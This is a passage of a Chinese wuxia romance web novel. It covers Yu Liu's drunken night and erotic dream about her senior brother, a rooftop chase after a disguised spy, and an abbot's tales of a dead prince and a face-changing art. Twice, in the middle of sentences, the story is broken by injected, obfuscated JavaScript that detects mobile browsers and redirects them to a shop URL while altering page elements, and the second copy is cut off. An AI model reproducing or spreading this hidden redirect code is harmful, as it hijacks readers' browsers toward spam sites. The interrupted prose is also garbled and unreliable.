宋繁声不顾这个醉鬼胡作非为的抓挠,单手直接将人扛起,走之前还不忘提醒装死的李长庚:“师父回去想想白天怎么应付酒醒的师妹吧。” “哎呦……真要完了。”刚想默默遁走的李长庚拍着脑门,望向碎星闪烁的天幕,日子可真是一眼望不到头啊,老天爷行行好,不如就让玉流醉得把这一晚都忘了吧。 许是李长庚交付了几分真心的祈愿感动了神仙,酒醒后的玉流对这几个时辰都只有连不成篇的记忆。 她模糊地记得这是一个极度混乱的深夜。 酿了三十年的陈年酒意麻痹了浑身各处,她的脑子转得极慢,甚至部分身子生出了自己的意识来,抱着宋繁声死活不撒手。 宋繁声没拉扯,他暂时也不能硬来。放下玉流后腰腹一股温热,应当是抗她的时候伤口又开裂了。 宋繁声侧身,不让血腥对着她,而后可恶地点开她的心伤:“师妹,我和师父都不曾怀疑过你,你又为何要怀疑自己,师父同意你留下狼是怕你孤单,你何苦要从它的身上寻找过去的自己呢?” 心还是不定吗,还是说,越长大,越无可避免地开始展露自己的弱点了呢? “就算你不想承认,”宋繁声坐到她身边,慢慢扣住她的手心,“师妹心里还是有那么丁点难过的对不对,既然会难过,为什么还要让它走呢,你可以把它藏起来,只要你想,师兄会帮你的。” “说什么呢,谁走了,”玉流晃荡着似乎能听见水声的脑袋,努力理解他的话,然而理解失败,垂着头委屈,“听不懂,我不听了!” 醉鬼的脑子完全不知道怎么长的,眨一下眼睛没了委屈劲儿,生出几分胆子来。玉流一把扯过宋繁声的领子,女流氓一般霸气道:“嘿,漂亮小哥哥,你是哪家的,能给我玩一下吗?” 宋繁声忍俊不禁,知道玉流这是醉得完全糊涂了,轻柔地拂开她脸上的碎发,良久后,心软由着她胡闹:“我是能让你玩,但要等价交换,你——能给我什么?” 玉流真的很想上手:“你想要什么?” “我想要……我想要问一问,兽不比人,几乎同天日新月异,它再回来,回来看你,师妹还能认出它来吗?” “谁?” “狼。” “狼……狼……狼……”玉流在牙牙学语的重复中,认清了这个字,“不知道,我记这些向来不行的。” “那人呢?” 原谅他此刻也想在她不设防时,去窥探真心存在的只言片语,当作日后熬过无数长夜的桃花源。 “什么?” 宋繁声转过她呆呆的脸:“我若是换了个模样,师妹还能认出我吗?” “你?呵呵,师兄,”玉流像是清明了一瞬,用力反握住他的手,“你化成灰我都能认出来,来来来,师兄,快来让我掐一把。” 宋繁声听懂了流氓的醉话,别过自己的脸,离她远一点:“不行。” “为什么!这个世上怎么会有你这么过分的师兄呢,不让我掐,不让我下山,我真的会恨,恨……”玉流够不着他的脸就扯过他的手,重重地咬了一口,一股腥甜顿时充斥舌尖。 宋繁声吃痛,翻过玉流的身子:“师妹,把嘴松开!你别以为你醉了我就不能对你动手,玉流,玉流!” “啪”的一声脆响,宋繁声救下了自己的手臂,而玉流护住自己还在余痛的臀,难以置信:“你、你怎么能打我屁股!” 宋繁声一日内添了两处伤,就算再大方也生出点郁闷来:“别闹,我没使劲。” “丢脸你懂吗,”玉流才减淡的脸又浮起温红,她朝他扑过来,“宋繁声,让我打回来,不,打个屁!你给我等着!我一定,一定能赢你的!” “他们会知道我的名字,而不是什么谁谁谁的徒弟,谁谁谁的师妹……”羞赧变成了恼怒,可玉流醉得站都站不稳,脚底发软跌回被中。 她打不着宋繁声,无能的愁绪压过恼怒,变得丧气哀切:“为什么每个人见到我都要这么说呢,为什么一定要逼我杀了他们呢?” “师兄,无锋的木剑刺进胸口原来这么响啊,噗——好长的一声,我都听不见他的惨叫了,血花溅过来的时候,我只有一个念头,杀人好像很爽……怎么办,我好像回不了头了,”玉流的眼中蓄起像泪的雾霭,“你们要是知道了,会离开我吗,不行不行,不会有人抛下我,因为只有我丢下别人。” 醉得完全失态的人深陷自厌的荒凉泥潭,宋繁声靠近她,轻轻将人抱在怀中,用温热的气息修补出现细小裂缝的玉娃娃:“师妹,不要这么想,师兄不会丢下你,不管你什么样,师兄都爱你,师兄那么爱你所以……师妹,不要乱摸,醒了你会后悔的……玉流!把手拿开,师兄没和你开玩笑!” 宋繁声闷哼,将醉得脑子是脑子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581957|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四肢是四肢的小丫头狠心按在胸前:“不要考验师兄,师兄定力不好,会忍不住的。” 头顶传来的声音像是隔着千山,覆着冰雪,又远又冷,让酒意阑珊的玉流觉得茫然:“师妹,忘了这些,去走你想走的路吧。” ……玉流浸没在热汗中,起伏的胸脯下,呼吸渐紧,心口猛跳,遭不住这样的阵痛,玉流骤然睁眼,鲤鱼打挺地坐起来。 玉流摩挲上自己冰冷的脸,她不会忘记那一夜,准确地说,是在宋繁声离开后的那半夜。 那是她和他之间无声而建的万丈鸿沟,让她对他的态度急转而下。 因为她做了一个梦。 梦中渺茫无垠的雾雪消融,荒芜的死山无端长出高树,枝头的翠鸟啾啾不停,这里一只,那儿一只,一声叠过一声,一声和着一声。 她记得这样婉转的鸟鸣,正是她未睡时坐在树下听见的翠鸟求欢。 情到浓时的欢吟,震得如针细长的叶片纷纷落下。不过转眼,高树被一株极尽妍丽的藤蔓缠住,曲折回环的藤枝与树共生,宛如一方叶巢。 翠鸟不知为何止语,双双乘风而落。 她探头看去,翠鸟再无影踪,叶巢中是交叠起伏的两道裸白身影。 浅淡柔腻的吟哦骤起,她捂住自己的嘴,却又不自觉地低声附和:“师兄,师兄……” 如此真实又虚幻。 她想逃,可是太过熟悉的面容让她惊得愣在原地。玉流摸着自己烧透的脸,按住跳得越来越快的心口,糟了……她好像被发现了,就在巢中人转头之时,一声刺破天际的狼啸将她唤醒。 她做了春梦。 更糟糕的是,她的床边坐着守了她一夜的梦中人。 梦中人撑着下巴,笑意吟吟:“师妹,睡得好吗?” ——在你做梦的时候,我好像又发现了一个秘密。 一如当时,玉流的脸煞白。 她过去曾一度将此事归咎于宋繁声白天的戏弄,或许是因为酒,或许是因为梦,抑或是,因为人,她始终不愿多想那一晚,恨屋及乌,也将前后的几天全都关锁。 如今靠着时隔多年的热病,她的魂魄离体,做了一个光怪陆离的梦,两段如断玉的记忆就此合拢。 哈,她怎么能忘记,忘记那些简直能要她命的该死的细枝末节呢? 真是太可悲了。 烧得缺水干涩的眼不自觉生出湿意,一滴泪落下,变成一串有解的九连环。 这样真实的无能让她心慌,翻身起来时不小心推倒了床边的矮凳,哐当脆响,敲醒了外头的人,也敲醒了玉流。 门开了,有人背着大亮的天光欢喜进屋,俯身抵住她已经退烧的额头。 “大人,好些了吗?” “嗯。” “可大人的脸色,看起来,还是不太好。” “做了梦。” “噩梦吗?” 玉流没答。 噩梦吗? 鬼知道。 她只身囚困于往昔的死树中,死树飘出鬼魂,问她知道枯木逢春死灰复燃吗? 玉流凭着感觉摸上他的耳垂,捻揉那点墨滴,声低不可闻:“鬼知道。” 58. 问佛祖 温温的气息吹着,像裹了一层又一层的薄纱,敏郎的耳垂红得快要滴血了,遏制不住颤抖的身子,后仰着,额头与额头相离。 挫着耳垂的力道加重,体温升上来,那儿估计肿了,玉流大发慈悲地放了手。 她还病着,病着,要忍耐……还未等他松完一口气,玉流将手放进了他后颈。 冰凉的手同烫热的肌肤相贴,她在他身上取暖,默不作声地看着他的喉结滚过一次又一次。 她在等他说话制止。 怎么醒来就开始玩他了,是梦到什么了吗? 敏郎出神了很久,也抖了很久,他遭不住了:“大人,不、不要捉弄我。” 玉流轻轻笑着,将手拿了出来:“暖和了,咳……你先出去吧。” 用完就被丢的敏郎不明所以:“怎、怎么了?” 玉流掀开厚被:“我要换衣服,你要看吗?” 敏郎扭着手,期待得很:“可以吗?” 玉流温和笑笑:“我再给你个机会。” “啊,还是想……啊不不不,我出去。” 门被带上,床上的玉流收起笑,抬起胳膊动了动,再没有酸软无力的感觉后,下床穿好长靴,捡起床脚的外袍披上,推开了门。 睡了太久陡然再直见旭阳,眼睛不禁蒙上涩疼。大病了一场,她也如柔脆的露水一般,禁不住风吹日晒。 “哎,”敏郎愣愣地站在门边,看着她拿起木簪咬住,拢起落在肩头的长发,“大人要出去吗?” 玉流用簪子束好,才开口:“我,咳咳,去侯官署。” 敏郎赶忙拉住她的手腕,眉心紧皱,很不赞成她的一意孤行:“大人,你还没好透。” “已经好了,”玉流压下嗓子里的痒意,如往常一般捏捏他的脸颊,力道轻了不少,“我要赚钱。” “什么?” “小郎君,养人很费钱的。” 玉流拉开他的手,抬头,指尖点在他青黑的眼下。她的记性还没被高热一并带走,睡了一整天,他大概也陪了她一整天,还真是,尽心尽力啊,敏郎…… 不自知的心慌转瞬即逝,玉流展颜:“我走了,你去休息吧,不然就要变丑了,你也知道我是什么样的人。” ……不喜欢丑的,他当然知道:“那、那我,不对,大人,等等!” 走到院中的玉流被两步并三步追上来的人拉住了手心,还没回头就听见他坚定至极的话语,伴随着丁点生气,不发作的那种。 他说:“吃点什么,睡了一整天,除了药汤什么都没吃过。大人吃点什么下去了,我才会让大人离开家门。” 玉流挣脱不开他的手:“小郎君,我可以去署里吃。” 敏郎没惯着她:“去署里,大人是不是又说,已经在家吃过了?” 玉流:“……” 被他看出来了。 玉流的确不想吃。嘴里头都是苦味,嗓子也还有点疼,她根本没什么胃口。 说起来,教训她的时候真的很像。她过去怎么没发觉呢,真是瞎了眼了。 玉流莫名有点心烦,想了想,决定让步,没必要和自己过不去:“好,我吃。” 不一会儿,院子里的石桌上摆上来一碗清粥,还有些清淡的小菜。好淡,淡到玉流都要怀疑他有没有加盐。 玉流拿起粥,用瓷勺翻了翻,不说嫌弃是假的:“米都烂了,清汤寡水。” 敏郎给她夹菜,听起来不大高兴:“因为一直焖着,我又不知道大人什么时候能醒来,喝了,不准剩下。” 她吃还不行吗,怎么霸道起来了。玉流试探着浅尝了一口,食之无味,含在舌尖囫囵几遍才吞下。 她拨开他的脸:“不要,咳咳咳,行了,不要看着我吃,你去睡吧,我会收拾好。” “不行。”敏郎搬着椅子坐在她身边,一点都不带动弹。 “唉。”玉流灌下最后一口,嘴里依旧什么味都没有,也就胃里舒服了点。 敏郎拿帕子给她擦去喝粥热出的汗,认真叮嘱:“大人记得,要早点回来。” 若是从前,玉流还会和他调笑,此刻却失了这样的兴头,侧过身静静地看着他,倏忽轻笑,笑意流在眼角,玉流抿唇点头:“好。” 将她送走后,他坐在玉流原本的位置上,那点淡到几乎没有的笑迟迟没有从他的心头消散。 头有些疼了,按着眉心半阖眼眸,是因为病还没有好吗,他怎么觉得她刚刚看他时,哪里有些不一样了…… 时辰尚早,街上行人不多,玉流一个人走在路边,脸色沉着,一副生人勿进的模样,看见她出门的外侯官也不敢轻易上前搭话,眼睁睁看着玉流走出岔道,往另一边去了。 玉大人有自己的打算,外侯官心想。 玉流心中有事,走的脚速也慢了许多,恍惚过了许久,她抬头查看,四周只有并不熟悉的风景,玉流恍然大悟,她走错路了,这里过去,不知是谁家的后墙。 她看了眼,一时半会儿想不起这是哪儿,索性原路返回。 玉流往后走,有人往前来,擦身而过之际,两道脚步如呼吸轻稳。 玉流的眉心猛地跳起。 错开两步的距离,玉流叫他:“站住。” “啊,原来是玉大人,”一身摊铺小贩打扮的年轻人依言停下,拱手低声自报家门,“小人是外侯官埋在京城内的探子。” “是吗,”若是外侯官招揽的探子,有如此浑厚的内力倒是有可能,为了免去不必要的麻烦,直接承认也无可厚非,但现在窝着火气的玉流可不敢轻信,“证据呢?” “证据小人有,”他撩起粗布麻衣,似乎想从袖中掏出什么,“在哪儿呢,在哪儿,大人请等等……” 玉流背着手看他在哪儿忙碌,心头划过冷笑:“找不到吗,找不到就跟我回——” “找到了!”年轻人打断她,转身朝她看来,那张平淡无奇的脸上闪过一抹阴毒。 玉流心道不妙,撤退的瞬间,他掏出一手的粉末朝她抛来,与此同时,还有他嚣张的嘲讽——“就在这里,呵呵……” 玉流下意识抬袖掩鼻,漫天飞扬的白尘中,那人毫不畏惧,任由粉末落在脸上。他胡乱抹了一把脸,将面容涂成白花猫,而后潇洒转身就要逃离。 可恶,玉流甩开袖子,这不是毒物,只是面粉! 玉流旋即起身追上,跟着他足尖轻点泥墙,踩上屋檐飞瓦。 两道人影在清晨熹微的天光中穿梭,因为身手极佳,故而几乎没有惊动底下的外侯官。玉流也懒得叫人一道,他们跟来只会给她当累赘。 追着追着,玉流越发觉得这人身法熟悉。她见过的,就在不久前的崇州,在那个假的无涯贼首身上。 如果她没猜错的话,他们是同一个地方出来的。 至此,紧随而来的便是无休止的疑问,为什么崇州的江湖人会出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听着玉流的官腔,和尚呵呵笑:“虚名,皆是虚名,不过老衲昨日才听闻玉大人病了,怎么今日就出门了?” “急病,来的快,去的也快,”玉流敛去不宁的神色,淡然说道,“有劳住持挂心,我就一个练武的乡下人,没什么真本事,就是底子好。” “但是玉大人听起来好像还没好。”不鸣轻轻碰了碰自己的喉咙。 玉流承认:“是,嗓子还有些疼,我尽量少说话。” “原来如此,那玉大人来敬国寺有何事,”不鸣疑惑,“难道安国公又派人来请玉大人相见了?” 见什么见,她又不是犯贱。玉流否认:“不是,咳咳,我路过,所以顺路过来看看,马上就走了。” 说着,脚掌已经转向了外头。 相当拙劣的托辞,但不鸣那张几乎永远都笑着的脸上呈现理解的神色:“玉大人辛苦,那玉大人慢走,老衲就不远送了。” 老和尚一如既往的客气提醒了玉流。自她从认识不鸣起,不鸣对她就是如此,虽然不知道这份客气不知从何而来,但,她能利用这份客气吗? 崇州之事于她,始终是一根卡在咽喉的利刺。身后恢弘肃穆的寺庙内,极有可能藏着那个江湖人,错过了这次机会,后面找起人来可能会很难。 更何况,陛下已言国舅案结,她又该如何说服章囚派人找他? 玉流不再走了,转头问:“我突然想起来,住持先前的提议还作数吗?” 怕他忘了,玉流解释:“拜佛的那个。” 不鸣住持微笑:“自然算数。” “那好,我想进去问佛。” “玉大人想问佛祖什么?” 玉流慢慢握紧双拳,暴起的筋脉送上血流,苍白的脸浮起很浅的一层气血:“我最近……常常梦见一个死人,不知何意。” 59. 听故事 玉流心道后悔,老和尚比她想象得还要难缠。 她再三推脱自己一人前去便可,不鸣却坚持相陪,说什么玉大人第一次拜佛,他理应以礼相待。 玉流无法,只能跟着他走过孤高清宁的佛塔,踏上左右阶,收回游离在佛寺中探查的余光。 敬国寺为皇家寺庙,若非逢年过节,寺内极少出现寻常百姓的踪影。 玉流静静地站在大雄宝殿的红木门槛之外。只需微微抬头,就能看见殿内漆金的莲花座上,如来佛祖宝相庄严,一双慈悲的佛眼似是能洞察世间的万象因果。 她同佛祖遥遥相望,在佛视中,她突然觉得自己走伏无地。 不鸣伸手请玉流进去,她未动,小声问道:“住持信死而复生,还是借尸还魂?” 不鸣:“玉大人何出此言?” 玉流忽地笑了:“我醒来后,又在活人身上看到了死人的影子。” “既已有所惑,”不鸣转向佛像,“玉大人又已站在佛祖面前,为何要问老衲而不问佛祖?” 不鸣已说至这般地步,玉流还是迟迟不愿迈出脚步。试问一个无诚心之人要如何跪拜求得佛祖怜悯? 别有用心地走入佛寺,在佛祖面前班门弄斧,不被佛祖厌弃她就要谢天谢地了。 她道:“因为我在想,佛祖真能解得了这般虚无缥缈的感觉吗?” “不试试怎么知道呢,不过若玉大人心存芥蒂,不妨在问佛之前听老衲讲个故事。” “我可以说我不想听吗?” 不鸣微微笑,摇头道:“不太行,但既然是老衲执意为之……” 下一刻,他给玉流送上他的回礼:“老衲不如带玉大人到处看看,想来玉大人来京一年半载,都不曾入佛寺祭拜,难得有心前来,老衲应当郑重。” 突如其来的解忧,乍一听刻意至极,玉流不着痕迹地蹙起眉心,老和尚这是在做什么? 不鸣还在等她:“玉大人是不愿意吗?” 玉流抿唇,在极短的考量后,她道:“不是,有劳住持带路。” 偌大清净的佛寺内,不鸣领路走在她的斜前方,不知是有意还是无意,两人之间存着两步的距离。 即便知晓老和尚身后不会长眼睛,玉流也不能明目张胆地张望,只能仔细脚下,当作寻常看路时留心各处异样的痕迹。 不鸣慢下来:“玉大人在听吗?” 玉流看向前方:“在听。” “那老衲这就开始了。” 耳边是不鸣徐徐如清风拂面的声音,常年念诵经文的沙弥,自有佛祖的禅意。 “话说当年的十二殿下……” “等等,”不鸣的故事才冒出一个人名,玉流便立即出声打断,“您说的这位殿下,是我能听的那位吗?” “哈哈,”不鸣放声大笑,“自然是,玉大人无需紧张,陛下仁慈,定不会因为一两位旧人而怪罪你我,更何况,此处又无第三人在,玉大人大可放心。” 玉流压低眉心,一时不知老和尚的用意。 见她不再阻拦,不鸣便继续:“十二殿下出生之时,在其之上的十多位皇子中大有德才兼备文武双全者,反观十二殿下,从小顽劣,不受重视。二殿下为胞弟忧心,便请先帝将其送至敬国寺修身。那时候佛寺内也有一位同样不受师父看重的小和尚,虽比十二殿下年长十余岁,却因为相似的脾性自然而然地玩到了一处。” “五年,殿下在敬国寺住了五年,不仅修好了心性,更学得一身的好本领,未至束发之年便自请去了北境守疆卫土。殿下有时也会写信回来,一封薄纸历时数个月后告诉儿时的同伴,他在国境之北,结识了人生的挚友。挚友是谁,玉大人应该猜得出来。” 玉流默然,片刻后才答:“北境的那位时小将军,是吗?” “正是。至此尘世日月经年而过,殿下平定北境之乱,赢得威名赫赫,而小和尚依旧孤身一人默默无闻,只是在寂静诵经的夜里,偶尔也会想起曾经有过那么一位朋友。” “再过了几年后,北境安定,小和尚以为会在不久后见到殿下凯旋,哪里能想到再得知他的消息时,会是那样的光景。” 哀景依旧在,只是故人改。 不鸣仰头,在绵长的吐息中慢慢闭上苍老的双眼:“去时少年意气,归时尸山血海。真是应了那句老话,成者为王,败者为寇,落得人头落地,面目全非。而那些活着的人……” 不鸣凄惨笑着:“陛下刚登基的头几年里,弹劾十二殿下余党的奏折如雪花一样飞出朝廷。小和尚得知此事后,整日惶惶不安,不敢说话不敢露面,想着偷偷熬过这段苦日子,可他的师兄弟为了保全佛寺,在一个雨夜将他捆着扭送进了侯官署。” “他以为也就这样了,幸而他只是一个苦修无得的蠢和尚,幸而……陛下仁慈。陛下宽恕了时小将军,也宽恕了小和尚,但陛下未能宽恕敬国寺。” “没人知道为什么,这或许就是帝王心术不可窥探。敬国寺在一夜间换了佛身金相,那个不起眼的小和尚突然就成了人上人。这世道啊,真是荒唐得厉害。” 不鸣睁开眼,点点清泪顺着微红的眼眶渗入沟壑纵横的老脸中:“小和尚受封受赏的那一天,看着刚登基的陛下,竟想起了他。因为小和尚也在活人身上见到了死人的影子,明明相差十余岁的两个人,两张并不全然相似的脸,可不经意的细微之处,仍留有旧友的遗存。” “小和尚想不通,深夜辗转难眠之时想要追寻真相,却又发觉那点影子根本无处可寻。他不敢告诉旁人,只能跪在佛祖面前,请求佛祖解惑。” “后来,在一个暴雨的清晨,雷鸣之时小和尚顿悟,将其解作思念。一母同胞的亲兄弟,到底是相像的,而小和尚只是愚蠢,徒留错看的悲哀。” 玉流安静地听完,这个小和尚是谁,心中已有数,她不必去问,只是,她看向不鸣:“我以为,当年之事,视作禁忌,不可随意言语。” “禁忌吗,”不鸣擦去脸上的泪痕,“不至于,玉大人,佛家,百无禁忌。” 玉流噗嗤笑出声来:“住持还真是敢说,真不怕我转头就把你出卖了?” “老衲信自己的眼睛。一年前刚见到玉大人的时 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“像到何种程度呢,即使是完全不同的两张面孔,那位香客的举止言行在老衲眼中,悉数映照出记忆之人的模样,甚至让老衲忘了故人早已香消玉殒,一如世间埃土。” “所以呢?” “所以……或许并无死而复生,借尸还魂,只是一片相思作祟。” “哈,哈哈哈哈哈……”相思二字从一个断绝尘缘的老和尚口中说出来,真是太可笑了。玉流心里告罪,祈求佛祖的谅解,可笑声却完全停不下来。 直到嗓子干疼,笑声变成了咳嗽,玉流拍着胸口,缓缓道:“我不信。” 不鸣坦然地听完她毫不掩饰地嘲笑:“玉大人是不信,还是说,心中其实已经有了答案,只是不敢面对罢了。” 不鸣那副高深莫测的模样让玉流涌起一股无名火,她烦佛门就是因为这个,各个秃驴都自视清高,尽说些不清不楚的话。 玉流:“老和尚,你什么意思?” 不鸣像是没听出玉流压低的杀意,从容开口:“随口的戏言而已。尘世之大,无奇不有。玉大人容许老衲再说一个故事吧,这一次,不是老衲的故事,而是江湖的故事。” “呵,”玉流算是听明白了,老和尚就是在浪费了她的时间,她心里不爽得很,拐着弯儿刺他,“您还真是见多识广。” “活久了而已,玉大人活到老衲这个岁数,见过的听过的,只会比老衲更多。” 不鸣不疾不徐:“传说很久很久之前,东海之上有一方士着一叶扁舟远渡而来,其自称蓬莱仙人,会一秘术……” 相当刻意的停顿,停顿的主人也随之朝她看来。玉流将此理解为要她作答,于是漫不经心道:“长生不老?” “不是长生不老,而是换脸。三十多年前的江湖上,曾掀起过巫蛊之术换脸的秘闻。”不鸣满面笑容,静待玉流的反应。 似是平地起惊雷,玉流猛地僵住头,在极力掩盖自己的惊讶后,用如沙砾碾过的嗓子粗哑发问:“住持方才说什么?” 不鸣的笑意加深:“玉大人为何如此惊讶,难道是在此次的崇州之行中,见到过什么了吗?” 60. 佛骗我 玉流沉默,心中思虑幽深,不敢轻易作答。 “无妨,”不鸣老神在在,“玉大人无需紧张,传闻之所以为传闻,就是因其不可查证。” 被一双慈悲双眼注视,玉流皱起眉心:“您可知我前几日恰好听说过类似的言论。” 不鸣早有准备:“老衲同章大人颇为相熟。” 玉流耸动眉峰:“所以住持告知我此事,是打算给我指路吗?” “恰恰相反,老衲不想玉大人深查下去。” 不鸣脸上的笑早已不见,老和尚肃重道:“玉大人,陈年旧事已有定论,后来者如读经,不求甚解,浅尝辄止,亦无不可。若是不肯收手,此去或是无法回头。” “无法回头?”玉流冷哼,“我说……您还知道些什么?” 眼前人的眼眸骤然晦暗,像是被人掐着的嗓子传出不甚清晰的声音,以一方入侵的压迫之势卷沙而来。 不鸣未动,即便呼吸在瞬间变得艰难,他勉力压过不适,摇头道:“小和尚是当年的侥幸得益者,不可,不能……更不敢。” 在三十多岁成为住持的那一刻,这身薄薄的袈裟就已经压弯了他的脊背。 宁鸣而死,不默而生,而他,苟且不鸣。 不鸣灼灼观她,似是规劝:“玉大人身边,不也已有佳人相候?” 家人,他的确算是家人。 玉流不禁嗤笑,弯腰重拾礼数:“不鸣住持久居佛门不问世事,消息有够灵通的。可那又怎么样呢,您有所不知,家人就是用来抛弃的,甚至不用去恨。” 玉流轻声道:“漠视即可。” 不鸣:“玉大人听起来颇有经验。” 她当然有经验。 那场春梦之后,她几乎将自己烧干,在满是裂痕的红岩土中,生生剥离出情思。 此后,她近乎一夜之间长大,除了日夜不改的练剑磨剑比剑,其余的时时刻刻,同宋繁声之间,几乎不再多谈。 是她动了春心,而春心之后,她清楚地知道,会被毁掉的只有她。 她不甘,更不愿。 于是她慌不择路,选了最蒙昧无知的法子,她将那颗心丢进瓷窑中,心火烈烈,制成易碎又坚硬的红瓷。 于宋繁声,他在山里的时间不多,彼时她深信不疑,只要装得巧妙一些,便不会让他生疑。 于她自己,怀着红至发黑的瓷器,恶念如怨鬼加身,相似出身的两个人,却是云泥的极端。相处越久,她就越想将他拽入苍山白雪下的幽幽泥潭。 得不到,想毁掉。 她深知自己并非正人君子,学不来风清月明的做派。于是乎筹谋数月,想出能过眼的残局,还没等布下,他竟然将性命拱手相送。 而她念着那点轻如柳絮的情分,选错了路。 她当时,真该补了那一剑。 当然,现在也不迟。 所以师兄啊,你到底在算些什么。 要问吗,不知道。 是真是假,每一个答案都会要她的命。 玉流如身陷囹圄,进退不得。 此心此情,甚是荒谬,三年之后,她竟然还在为一个死人心焦。 她不想如此,满不在乎道:“若无法回头,便无法回头。” 反正她早已无路回头。 闻言,不鸣沧桑的脸上露出些许惊异。 “我先回去了,住持不必相送。”阴阳面再要紧,都紧不过她的家事。 “哈哈哈哈哈哈……”不鸣兀自在她身后大笑,干涩的笑声似乎要将自己撕裂。 几声大笑之后,不鸣拭去释然的老泪,叫住她:“玉大人不去问佛了吗?” “不了。”问佛不如问人。 不鸣挽留:“俗话说得好,来都来了,不拜佛,看一看也行。” “住持还有要说的,”玉流品出不鸣反复无常的相邀里那点醉翁之意不在酒的深意。她停下来,回头道,“说实话,我认识的长辈里,您是头一位这么能讲的。” 不鸣笑笑:“就当是老人家熬不过孤苦的岁数。” 他说得轻巧,心中隐隐的不安却让玉流不想再继续应付:“老和尚,不要和我打哑谜。” “是不是哑谜,玉大人一听便知。” 玉流静默半晌,审视他:“住持是在求我吗?” “是,老衲在求玉大人。” “呵,”玉流轻笑,“难得住持求人,行,我听。” “那就等等老衲吧。” 不鸣这一次走在了玉流身侧,老和尚眉眼半垂,声音不高不低,紧绕二人。 “三年前的七夕佳节不是个好天气,京城日夜不分,雷雨交加,狂风呼号,寺中不少百年古木被拦腰斩断,老衲不得已闭门,然而却有人冒着暴雨叩响寺门,一位江湖游侠打扮的年轻人说想来敬国寺求一份吉兆。” “在老衲看来并不信神佛之言的年轻人不顾无法脱离的霜雨,低声祈求能允其入寺求。老衲动了恻隐之心,让他进寺后才知所求为何。” “他为那般凶险之事走过大殷百余古寺,求得最好的签文,是为小凶。这样听来,佛祖已有结果,多求无益,但他不愿,同老衲打了一个赌。” “敬国寺不是地方州的小寺,从不缺香火,因此,他将赌注定为一颗真心,若他能在佛祖面前求得上上签,真心悉数归还。老衲还是第一次见到这样的江湖人,一张慧绝的脸,做这样不高明的事,有意思得很。” 玉流掩去最初的心乱,脸色岿然不动,就当是在听话本,学着听客淡淡接茬:“真心最不值钱。” 不鸣笑:“老衲也是这般说的,所以,他给我一粒十八面白玉骰子。一粒玉骰子,玲珑十八窍,也如一颗真心……” 不知不觉,他们已经走至宝殿,不鸣跨过门槛,站在佛祖身前,低眉躬身行礼的刹那,似乎看见了当年。 在孤瘦烛火撑起一轮明日的宝殿之中,满身湿雨的青年竭尽所有诚意,跪在地上叩拜三个响头:“我愿用一颗真心,成全她,此后常如意。” 玉流的心沉入海底,顺着他微闪的目光望向佛祖:“然后呢?” “他赌输了,或许,佛祖也不要他的真心,更不要他的骰子,”不鸣亦觉其可悲,“虽然输了,他却很高兴,如天真的孩童一般,他告诉老衲这是他多年来求得的第一枚吉签。” “可凡事想得太多,未必如愿,小吉而已,宿命如此。” 不鸣的言语中温情如昙花一现,转头就要把玉流拖下水:“玉大人也同老衲来赌一把,如何?” 不鸣笑着看她 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“我在显摆,”玉流啧了声,“开个玩笑。这是一个孩子的东西,我暂时不想还给他,又不想日日带在身上,想请住持代为保管。” 不鸣接过黄玉,将玉放在光下,清透的黄玉隐隐现出空心的轮廓,他了然,小心地收起,而后道:“半刻钟前,老衲在殿中打坐静心,仰头时恰见钟楼上有飞鸟而过。玉大人离寺之后,不妨去别处看看。” 玉流不禁抬眸:“够神啊,到底还有什么是您不知道的?” “算不算得出而已,大人可以把其当作巧合,或者,就是冥冥中的自有天意。”佛赐机缘,无论爱恨,天命已至。 “我说住持,你的佛祖知晓自己的弟子这么泄露天意的吗?” 不鸣含笑:“大人不是已有所觉了吗,老衲不过想助大人走好下一步。” 玉流噤声,须臾后,大方道:“住持不亏是佛门大家,一望便知。” 心如青瓷,疑如窑火,当瓷出现了一丝裂缝,便会串起所有的裂纹。她是已有所觉,不知该如何破解。 “老衲想给大人一个选择而已,有人以心种花,有人山中养月,明知不可,偏要强求,不如顺水推舟,且看舟渡何方。” “这些……就当是一个该死的老和尚在多年后的真心吧,不值钱是不值钱,但鸟之将死其鸣也哀,人之将死其言也善。” 二十年后,他在今日,招认自己的罪过,同死去的小和尚言和。 “是吗,小和尚已经是住持了,所以,最好不要骗我。” “玉大人,出家人不打诳语。”不鸣从莲花座台中,取出那粒骰子交予她。 玉流将玉骰子握于掌心,大不敬地发问:“天意天意,那……如果佛骗我呢?” “大人既然能这么问,就说明心中已经做出了选择,”不鸣若有所思,“老衲虽远离红尘,却也听过‘玲珑骰子安红豆,入骨相思知不知’。” 玉流握紧掌心,蓄力的瞬间,骰子轻颤,她只要再添上一分的力气,骰子便会稀碎。 骰子摇摇欲坠,她在捏碎的边缘,收紧了力道:“我不相思。” 61. 心吃醋 “玉不碎,吾不死。” 玉流喃喃,捏着一粒玉骰子,捧着一颗哀哀不肯死的心,走下大雄宝殿的一百零八级台阶。 她走出寺门,空散的双眼漫看。身后厚重的红木缓缓合拢,她不必回头,金顶佛光普照,眼前的诸景那般孤零寂寞,一眼的不经意,似乎同万丈峰万年不变的山路相连。 一年中渐渐熟悉的道路,终究不敌那座孤峰。 无数个只有风月影的日夜里,她曾时常怀念那个不会归来的人。 如今看来,万分可笑。 人非人,鬼非鬼,恨不恨,爱不爱。 玉流晃荡着走到自己的宅邸前,无灯无人,繁竹掩孤门。 她说不清楚自己在期待什么,这个时辰,正午都不到,哪里来的灯?扯开满头的愁绪,抛到一边,她去推门。 门没能完全推开,像是里头有什么堵上了。 她从半开的门缝探头,看见了挡门的石头。玉流轻咦:“你坐在这里做什么?” 敏郎正靠着门打瞌睡,身后的门板突然翘起,他不察,挨了一记扫堂腿,人直直向前扑倒,好在用胳膊撑了一下,才不至于脸着地。 敏郎垂着眼,吸着气揉着磕到的手肘,哀怨地扭过头来:“太过分了,大人。” 玉流不紧不慢地将玉骰子塞进腰带中,懒散看去,这一幕,实在是蠢得可笑。 